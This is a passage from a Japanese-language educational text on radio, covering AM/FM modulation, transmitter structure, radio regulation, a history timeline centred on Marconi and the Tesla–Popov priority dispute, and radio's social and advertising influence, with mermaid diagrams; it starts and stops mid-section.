&lt;div&gt;&lt;span&gt;| **雑音耐性** | 弱い（大気雑音、人工雑音の影響を受けやすい） | 強い（振幅変動の影響を受けない） |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| **音質** | 中程度（帯域幅の制約により高音域が制限） | 高音質（広い帯域幅により高音域まで再現可能） |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| **受信機の複雑さ** | 比較的簡単 | やや複雑（周波数検波回路が必要） |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| **送信電力** | 比較的少ない | 比較的多い |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| **マルチパス耐性** | 弱い（反射波の影響を受けやすい） | 強い（周波数変調のため影響が少ない） |&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 変調の数学的表現&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **AM変調**: $s(t) = A[1 + m \cdot x(t)]\cos(2\pi f_c t)$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  - $A$: 搬送波の振幅、$m$: 変調率、$x(t)$: 音声信号、$f_c$: 搬送波周波数&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  - 変調率$m$が100％を超えると、包絡線検波時に歪みが発生する&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **FM変調**: $s(t) = A\cos[2\pi f_c t + 2\pi \Delta f \int x(\tau) d\tau]$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  - $\Delta f$: 最大周波数偏移、変調指数$\beta = \frac{\Delta f}{f_m}$（$f_m$は音声信号の最大周波数）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  - 変調指数が大きいほど、雑音に対する耐性が高くなるが、占有帯域幅も広くなる&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 変調の波形図の説明&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **AM変調**: 搬送波の振幅が音声信号の波形に従って変化する。波形を視覚化すると、搬送波の包絡線（エンベロープ）が音声信号の形状を表す。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **FM変調**: 搬送波の周波数が音声信号の振幅に応じて変化する。波形を視覚化すると、搬送波の周波数が密になったり疎になったりする。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **変調率**: AMでは変調率が100％を超えると歪みが発生する。FMでは変調指数が大きいほど、雑音に対する耐性が高くなるが、占有帯域幅も広くなる。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### AMとFM変調の概念図&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;graph TB&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph AM["振幅変調（AM）"]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A1[音声信号] --&amp;gt; A2[搬送波の振幅を変化]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A2 --&amp;gt; A3[変調波&lt;br /&gt;包絡線が音声信号の形状]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph FM["周波数変調（FM）"]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        F1[音声信号] --&amp;gt; F2[搬送波の周波数を変化]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        F2 --&amp;gt; F3[変調波&lt;br /&gt;周波数が密/疎に変化]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 送信アンテナ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 高周波電流を電磁波に変換する装置&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- アンテナの長さは、送信周波数の波長に応じて最適化される&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 一般的に、アンテナの長さは波長の1/4または1/2が効率的&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### ラジオ送信機の構成フロー&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;flowchart LR&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A[音声信号&lt;br /&gt;マイク等から入力] --&amp;gt; B[変調回路&lt;br /&gt;AM/FM変調]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt; C[高周波発振器&lt;br /&gt;搬送波を生成]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; B&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt; D[増幅回路&lt;br /&gt;送信電力を増幅]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    D --&amp;gt; E[送信アンテナ&lt;br /&gt;電磁波として放射]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 16.4 周波数管理と電波法&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 電波の特性と干渉&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 同じ周波数を複数の送信機が使用すると、混信（干渉）が発生&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 混信は、信号の品質を著しく低下させる&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- そのため、周波数の適切な割り当てと管理が不可欠&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 電波法の成立&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 1912年、アメリカで無線法（Radio Act of 1912）が制定&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 1927年、連邦ラジオ委員会（FRC）が設立され、ラジオ放送の規制が本格化&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 1934年、連邦通信委員会（FCC）が設立され、現在に至るまで通信規制を担当&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 日本の電波法&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 1950年、電波法が制定され、電波の使用が法的に規制された&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 総務省が電波の割り当てと管理を担当&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 無線局の開設には免許が必要&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 17. 歴史的詳細と年表&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 17.1 ラジオ技術の発展年表&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 19世紀：理論的基礎の確立&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 1831年：マイケル・ファラデーが電磁誘導を発見&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 1864年：ジェームズ・クラーク・マクスウェルが電磁波の存在を理論的に予測&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 1888年：ハインリヒ・ヘルツが電磁波の存在を実験的に証明&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 20世紀初頭：無線通信の実用化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 1895年：グリエルモ・マルコーニが無線電信を実用化&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 1901年：大西洋横断無線通信が成功&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 1906年：レジナルド・フェッセンデンが初めて音声の無線送信に成功&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 1920年代：ラジオ放送の開始&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 1920年：KDKAが世界初の商業ラジオ局として開局&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 1922年：イギリスでBBC（British Broadcasting Company）が設立&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 1925年：日本でNHK（日本放送協会）が設立&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 1930年代：ラジオの黄金時代&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 1930年代：ラジオドラマ、コメディ番組、音楽番組が人気を博す&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 1938年：「宇宙戦争」放送事件が発生&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 1939年：FM放送が開始（アメリカ）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### ラジオ技術の発展タイムライン&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;timeline&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    title ラジオ技術の発展史&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    1831 : ファラデーが電磁誘導を発見&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    1864 : マクスウェルが電磁波を理論予測&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    1888 : ヘルツが電磁波を実験証明&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    1895 : マルコーニが無線電信を実用化&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    1901 : 大西洋横断無線通信成功&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    1906 : フェッセンデンが音声送信成功&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    1920 : KDKAが商業ラジオ局として開局&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    1922 : BBC設立&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    1925 : NHK設立&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    1938 : 宇宙戦争放送事件&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    1939 : FM放送開始&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 17.2 主要な人物とその貢献&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### グリエルモ・マルコーニ（1874-1937）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- イタリアの発明家、無線電信の実用化に成功&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 1909年にノーベル物理学賞を受賞&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- マルコーニ無線電信会社を設立し、無線通信の商業化を推進&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### マルコーニの実験の詳細&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **1895年**: イタリアのボローニャで、自宅の庭で最初の無線通信実験を実施。送信機と受信機を約2.4km離して配置し、モールス信号による通信に成功。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **1896年**: イギリスに移住し、無線電信の特許を申請。イギリス郵政省の支援を受け、実験を継続。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **1897年**: ブリストル海峡で約14kmの無線通信に成功。同年、マルコーニ無線電信会社を設立。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **1899年**: 英仏海峡（ドーバー海峡）で約50kmの無線通信に成功。イギリスとフランスの間で初めて無線通信が実現。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **1901年12月12日**: カナダのニューファンドランド島とイギリスのコーンウォールの間で、約3,500kmの大西洋横断無線通信に成功。この実験では、マルコーニが開発した大型アンテナ（高さ約60m）と高感度受信機が使用された。受信された信号は「S」（短点3つ）のモールス符号で、これが世界初の大西洋横断無線通信となった。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 一次史料からの引用&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;マルコーニ自身の記録によれば、1901年12月12日の実験について記述しているとされる（注：具体的な記録の内容については、一次史料の確認が必要。一般的には、マルコーニは1901年12月12日にニューファンドランドのセント・ジョンズで、イギリスのポルドゥーから送信された信号を受信したとされている）。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ただし、この実験の成功については、当時から疑問視する声もあった。一部の科学者は、受信された信号が実際には大気中の雑音や干渉であった可能性を指摘した。しかし、マルコーニはその後も実験を継続し、1902年には確実な大西洋横断通信を実現した。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### マルコーニの技術的貢献&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **アンテナ技術**: 垂直アンテナと接地システムの開発により、長距離通信を実現&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **同調回路**: コイルとコンデンサーを用いた同調回路により、特定の周波数を選択&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **検波器**: コヒーラー（金属粉検波器）の改良により、受信感度を向上&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **商業化**: 無線通信を実用的な技術として確立し、船舶通信や新聞社へのニュース配信など、実用的な用途を開拓&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### マルコーニの優先権に関する論争&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;マルコーニの無線電信の発明については、当時から優先権に関する論争があった：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **ニコラ・テスラの主張**: ニコラ・テスラは、1893年に無線通信の基本原理を発表し、マルコーニより先に無線技術を開発していたと主張した。テスラは、マルコーニが自分の特許を侵害しているとして訴訟を起こした。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **アレクサンダー・ポポフの主張**: ロシアの物理学者アレクサンダー・ポポフは、1895年に無線受信機を開発し、マルコーニより先に無線通信を実現していたと主張した。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **論争の解決**: 1943年、アメリカ最高裁判所は、テスラの無線技術に関する特許を認め、マルコーニの特許の一部を無効とした。しかし、マルコーニは無線通信の実用化と商業化において重要な役割を果たしたことは確かである。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;この論争は、科学技術の発明において、理論的発見と実用的応用のどちらが重要かという問題を提起している。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### リー・ド・フォレスト（1873-1961）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- アメリカの発明家、三極真空管（オーディオン）を発明（1906年）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 真空管による増幅が可能になり、ラジオ技術が飛躍的に発展&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 「ラジオの父」とも呼ばれる&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### デイヴィッド・サーノフ（1891-1971）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- RCAの初代社長、ラジオ放送の商業化を推進&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 「音楽ボックス」としてのラジオの可能性を早くから認識&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 後のNBC（National Broadcasting Company）の設立にも関与&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 18. 社会文化的影響の詳細分析&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 18.1 ラジオと国民意識の形成&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 文化的共通体験の創出&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- ラジオは、地理的に離れた場所にいる人々が、同じ音楽、同じニュース、同じ娯楽番組を同時に享受することを可能にした&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- この文化的共通体験は、国民意識の形成に大きく貢献した&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 特に、国家の重要な出来事（選挙、スポーツイベント、戦争など）を共有することで、国民の一体感が生まれた&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### ラジオによる文化的共通体験の形成&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;graph TB&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A[ラジオ放送局] --&amp;gt; B[同時放送]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt; C[地域A&lt;br /&gt;リスナー1]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt; D[地域B&lt;br /&gt;リスナー2]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt; E[地域C&lt;br /&gt;リスナー3]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt; F[地域D&lt;br /&gt;リスナー4&lt;br /&gt;...多数]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; G[同じ音楽を同時に聞く]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    D --&amp;gt; G&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    E --&amp;gt; G&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    F --&amp;gt; G&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; H[同じニュースを同時に聞く]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    D --&amp;gt; H&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    E --&amp;gt; H&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    F --&amp;gt; H&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; I[同じ娯楽番組を同時に聞く]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    D --&amp;gt; I&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    E --&amp;gt; I&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    F --&amp;gt; I&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    G --&amp;gt; J[文化的共通体験]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    H --&amp;gt; J&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    I --&amp;gt; J&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    J --&amp;gt; K[国民意識の形成]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    J --&amp;gt; L[言語の標準化]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    J --&amp;gt; M[社会の一体化]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 言語の標準化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- ラジオ放送は、標準的な言語（アクセント、発音）を広める役割を果たした&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 地方の方言が標準語に統一される傾向が強まった&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- この言語の標準化は、国民統合の重要な要素となった&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 18.2 ラジオと広告・消費文化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 広告メディアとしてのラジオ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- ラジオ放送は、広告収入により運営される商業メディアとして発展&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ラジオ広告は、視覚的な要素がないため、音声と音楽による説得力のある表現が重要&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ラジオ広告は、消費文化の形成と拡大に大きく貢献した&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### ラジオ広告の具体例&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 初期のラジオ広告（1920年代）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **パルモリーブ（Palmolive）**: 1927年、NBCで「パルモリーブ・ビューティー・ボックス・シアター」という番組をスポンサー。石鹸の宣伝を音楽番組と組み合わせた。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **リグレー（Wrigley）**: チューインガムの宣伝をラジオ番組で展開。キャッチーなジングル（短い音楽）を使用。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 1930年代のラジオ広告&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **プロクター・アンド・ギャンブル（P&amp;amp;G）**: 石鹸や洗剤の宣伝をラジオドラマと組み合わせた。番組名に商品名を組み込む手法（「オックスドール・ファミリー・アワー」など）を確立。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **クラフト（Kraft）**: 食品の宣伝を音楽番組と組み合わせた。「クラフト・ミュージック・ホール」などの番組をスポンサー。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### ラジオ広告の特徴&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **音声による説得力**: 視覚的な要素がないため、声のトーン、音楽、効果音を効果的に使用&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **繰り返しの効果**: 同じメッセージを繰り返し放送することで、リスナーの記憶に定着&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **感情への訴求**: 音楽やドラマと組み合わせることで、リスナーの感情に訴えかける&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### ラジオ広告の仕組みと効果&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;flowchart LR&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A[広告主&lt;br /&gt;企業] --&amp;gt;|広告費| B[ラジオ局]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt; C[番組制作]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; D[番組名に商品名&lt;br /&gt;オックスドール・ファミリー・アワー等]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; E[音楽番組と組み合わせ&lt;br /&gt;パルモリーブ・ビューティー・ボックス等]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; F[ラジオドラマと組み合わせ&lt;br /&gt;P&amp;amp;Gの石鹸・洗剤等]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    D --&amp;gt; G[リスナーが受信]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    E --&amp;gt; G&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    F --&amp;gt; G&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    G --&amp;gt; H[記憶に定着&lt;br /&gt;繰り返し放送]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    H --&amp;gt; I[感情への訴求&lt;br /&gt;音楽・ドラマ]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    I --&amp;gt; J[消費行動の変化]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    J --&amp;gt; K[商品の売上増加]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 消費行動への影響&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- ラジオ広告は、リスナーの消費行動に直接的な影響を与えた&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 特に、家庭用品、食品、化粧品などの商品の売上に大きな影響を与えた&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ラジオによる商品の宣伝は、大衆消費社会の形成に不可欠な要素となった&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 18.3 ラジオと政治・プロパガンダ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 政治的な利用&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- ラジオは、政治的なメッセージを広範囲に伝達する強力なツールとなった&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 特に、1930年代のドイツでは、ナチスがラジオをプロパガンダの手段として積極的に利用&lt;/span&gt;&lt;/div&gt;
